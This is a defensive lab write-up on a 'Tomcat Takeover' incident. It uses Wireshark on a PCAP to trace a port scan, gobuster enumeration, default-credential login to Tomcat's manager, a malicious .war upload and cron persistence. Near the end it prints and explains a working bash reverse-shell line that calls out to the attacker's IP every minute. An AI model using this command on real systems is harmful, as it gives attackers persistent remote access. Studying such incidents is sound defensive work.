Tomcat Takeover

Scenario

The SOC team has identified suspicious activity on one of the company’s web servers, prompting an investigation into the potential compromise. A PCAP file containing network traffic data has been captured to assist in analyzing the intrusion. The investigation revealed a series of scanning attempts, followed by directory enumeration and brute-force login attempts on the Apache Tomcat web server’s administrative interface.

Incident Walkthrough

Before conducting any investigation, we need to gather information first. Since we have a PCAP file, we can use Wireshark to analyze it by checking the Protocol Hierarchy and Conversations

Protocol Hierarchy
Conversations

We can observe a significant amount of TCP traffic across various ports, which could indicate port scanning. Additionally, if port scanning is occurring, it usually involves numerous packets. The IP address 14.0.0.120 shows a particularly high number of packets, which supports this suspicion so let's check this IP.

Port Scan

Indeed, this IP address is actively performing a port scan.

To determine how many ports it has discovered, we can use the following query:

Open Ports

It has discovered three open ports:

  1. Port 22 – SSH

  2. Port 8009 – AJP (Apache AJP Proxy)

  3. Port 8080 – Alternative HTTP port

According to Google, Tomcat typically uses:

After identifying the IP address, we need to determine the origin of the attack. We can use a website called: iplocation

IP Location

After identifying the attacker's IP and the ports, we need to track their activity on the ports discovered during the scan. The attacker has initiated communication with port 8080.

URI Brute-Forcing

We can observe that the attacker has started using gobuster a tool for brute-forcing URIs (directories and files) on web servers, as well as DNS subdomains and virtual hosts.

401 Unauthorized
401 Unauthorized

We can see that the attacker encountered a 401 Unauthorized error, indicating that they need privileges to access this page.

Once the attacker identified the admin panel, they began performing a brute force attack. Unfortunately, the server was using default credentials.

Credentials Used
Default Credentials

After accessing the admin panel, the attacker downloaded a file named JXQOZY.war.

File Upload

Adding a Cron Job

The file turned out to be a reverse shell, and the attacker executed commands such as whoami, cd, and pwd. Notably, they added a cron job using crontab.

crontab is a command used to schedule tasks in Unix-like operating systems, and these tasks are known as cron jobs. The cron job is set to run every minute (* * * * *) and executes a reverse shell command:

  • /bin/bash -c: Executes a command.

    • 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1': Establishes a reverse shell connection to the IP 14.0.0.120 on port 443.

      • bash -i: Starts an interactive bash shell.

      • >& /dev/tcp/14.0.0.120/443: Redirects both stdout (>&) and stderr to the target IP and port.

      • 0>&1: Redirects stdin from the same connection.

  • crontab -i cron: Installs the cron job from the file cron. The -i option prompts for confirmation before overwriting an existing crontab.

  • crontab -l: Lists the active cron jobs, confirming that the reverse shell job has been successfully installed.

I hope you enjoyed :)

Last updated